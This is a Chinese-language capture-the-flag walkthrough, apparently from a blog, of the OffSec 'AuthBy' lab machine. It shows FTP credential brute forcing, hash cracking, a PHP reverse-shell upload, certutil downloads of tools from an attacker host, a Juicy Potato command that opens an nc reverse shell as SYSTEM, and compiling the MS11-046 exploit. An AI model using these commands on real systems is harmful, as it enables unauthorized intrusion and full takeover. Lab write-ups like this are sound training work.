本文最后更新于 2026年3月12日 下午
一、靶场详情
靶场名称:
AuthBy
靶场地址:
OffSec Proving Grounds Practice 实验环境
二、思路总结
突破边界:
FTP 弱口令 –> 获取 .htpasswd 文件,hashcat 破解 –> HTTP 认证密码 –> FTP 上传 php reverse shell –> apache 用户权限 –> 用户旗帜
权限提升:
SeImpersonatePrivilege 特权 –> juicy-potato 提权 –> system 权限 –> 管理员旗帜
ms11-046 本地提权漏洞 –> 编译源文件 –> system 权限 –> 管理员旗帜
三、靶场攻击演示
3.1 靶场信息收集
TCP 端口扫描:
1 2 3 4 5 6 7
| sudo nmap -p- 192.168.206.46 --min-rate=2000
PORT STATE SERVICE 21/tcp open ftp 242/tcp open direct 3145/tcp open csi-lfap 3389/tcp open ms-wbt-server
|
UDP 端口扫描:未发现有价值信息。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| sudo nmap -p21,242,3145,3389 -sCV 192.168.206.46
PORT STATE SERVICE VERSION 21/tcp open ftp zFTPServer 6.0 build 2011-10-17 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | total 9680 | ---------- 1 root root 5610496 Oct 18 2011 zFTPServer.exe | ---------- 1 root root 25 Feb 10 2011 UninstallService.bat | ---------- 1 root root 4284928 Oct 18 2011 Uninstall.exe | ---------- 1 root root 17 Aug 13 2011 StopService.bat | ---------- 1 root root 18 Aug 13 2011 StartService.bat | ---------- 1 root root 8736 Nov 09 2011 Settings.ini | dr-xr-xr-x 1 root root 512 Sep 01 18:57 log | ---------- 1 root root 2275 Aug 08 2011 LICENSE.htm | ---------- 1 root root 23 Feb 10 2011 InstallService.bat | dr-xr-xr-x 1 root root 512 Nov 08 2011 extensions | dr-xr-xr-x 1 root root 512 Nov 08 2011 certificates |_dr-xr-xr-x 1 root root 512 Aug 03 2024 accounts 242/tcp open http Apache httpd 2.2.21 ((Win32) PHP/5.3.8) |_http-title: 401 Authorization Required | http-auth: | HTTP/1.1 401 Authorization Required\x0D |_ Basic realm=Qui e nuce nuculeum esse volt, frangit nucem! |_http-server-header: Apache/2.2.21 (Win32) PHP/5.3.8 3145/tcp open zftp-admin zFTPServer admin 3389/tcp open ms-wbt-server Microsoft Terminal Service | rdp-ntlm-info: | Target_Name: LIVDA | NetBIOS_Domain_Name: LIVDA | NetBIOS_Computer_Name: LIVDA | DNS_Domain_Name: LIVDA | DNS_Computer_Name: LIVDA | Product_Version: 6.0.6001 |_ System_Time: 2025-09-01T11:57:40+00:00 | ssl-cert: Subject: commonName=LIVDA | Not valid before: 2024-08-02T13:17:54 |_Not valid after: 2025-02-01T13:17:54 |_ssl-date: 2025-09-01T11:57:45+00:00; -1s from scanner time. Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
系统为 Windows 环境,开放有 FTP、HTTP、RDP 服务。
3.2 渗透测试突破边界
3.2.1 FTP 弱口令、上传 PHP reverse shell
靶机 FTP 服务存在匿名访问(nmap 扫描),但登录后的文件均无权访问,其中 accounts 目录泄漏了 offsec 和 admin 用户名信息,


靶机 HTTP 242 端口发现存在身份认证,尝试使用 admin 和 offsec 用户进行暴力破解,未成功破解。

使用 hydra 利用 kali seclists ftp 弱口令执行 FTP 暴力破解,得到了 admin 用户密码。
1
| hydra ftp://192.168.206.46 -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
|

使用 admin 用户登录靶机 FTP,在目录中发现 .htpasswd 和 index.php 文件,将 .htpasswd 下载至本地,得到加密密码。


删除 offsec: 然后使用 hashcat 破解,得到了 offsec 用户明文密码。

使用 offsec 用户密码可登录靶机 HTTP 服务,没有发现有价值信息。

由于利用 FTP 中的 .htpasswd 文件密码成功登录了 HTTP 服务,猜测 FTP 目录大概率也是网站根目录,测试利用 FTP 上传 PHP reverse shell,可成功上传。
PHP reverse shell:
1
| https://www.revshells.com/
|


在 kali 使用 nc 监听 80 端口,然后访问上传的 revs.php 文件,得到 apache 用户 shell。


3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限
使用 whoami -priv 发现 apache 用户存在 SeImpersonatePrivilege 特权,可利用土豆工具提权至系统 system 权限。

通过 systeminfo 得到的系统版本检索 exploit,发现历史存在 ms11-046 本地提权漏洞,利用该漏洞同样可提权至系统 system 权限。

注意: 系统版本为 32 位。
3.3.1 SeImpersonatePrivilege 特权提权至 system
参考链接:
1 2 3 4 5 6 7
| https://book.hacktricks.wiki/zh/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html#seimpersonateprivilege https://jlajara.gitlab.io/Potatoes_Windows_Privesc https://github.com/ohpe/juicy-potato
https://github.com/ivanitlearning/Juicy-Potato-x86
|
由于系统版本较老(Server 2008),一些土豆工具无法使用,其中 Hot Potato 和 juicy-potato 支持 server 2008 版本。


Hot Potato 利用过程需要点击 windows 更新触发恶意代码执行,juicy-potato 利用方式只需要指定系统 CLSID,即可执行任意命令。
下载 juicy-potato x86 然后将 nc 和 juicy-potato 上传至靶机 apache documents 目录。
1 2 3 4 5 6 7
| wget https://github.com/ivanitlearning/Juicy-Potato-x86/releases/download/1.2/Juicy.Potato.x86.exe goshs -p 80
certutil -urlcache -split -f http://192.168.45.248/nc.exe nc.exe certutil -urlcache -split -f http://192.168.45.248/Juicy.Potato.x86.exe Juicy.Potato.x86.exe
|

在 Juicy-Potato 项目 CLSID 目录检索匹配系统的 CLSID。
1
| https://github.com/ohpe/juicy-potato/tree/master/CLSID
|


在 kali 使用 nc 监听 80 端口,然后通过 Juicy.Potato.x86.exe 执行反弹 shell,得到了系统 system 权限。
1 2
| rlwrap nc -lvnp 80 Juicy.Potato.x86.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\Users\apache\Documents\nc.exe 192.168.45.248 80 -e cmd" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
|

大多数 Potato 工具默认都没有编译 x86 版本,下载源码在本地编译可能会遇到奇奇怪怪的错误,可直接检索工具 x86 版本,大概率会在 GitHub 检索得到。

3.3.2 MS11-046 提权至 system
搜索引擎检索 6.0.6001 service pack 1 build 6001 exploit ,发现历史存在 MS11-046 漏洞。

使用 searchsploit 复制漏洞利用脚本。
1
| searchsploit -m windows_x86/local/40564.c
|

编译漏洞利用代码。
1 2 3 4 5 6 7 8 9 10 11 12
| i686-w64-mingw32-gcc x86_64-w64-mingw32-gcc
i686-w64-mingw32-g++ x86_64-w64-mingw32-g++
i686-w64-mingw32-gcc [source file] –o [output file: .exe] <–lws2_32> i686-w64-mingw32-g++ [source file] –o [output file: .exe]
i586-migw32msvc-gcc reverse.c -o custom-reverse.exe -lws2_32
|
1
| i686-w64-mingw32-gcc 40564.c -o pwn.exe -lws2_32
|

将 EXP 上传至靶机,运行即可获取到系统 system 权限。
1
| certutil -urlcache -split -f http://192.168.45.248/pwn.exe pwn.exe
|

3.3.3 管理员旗帜获取

Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨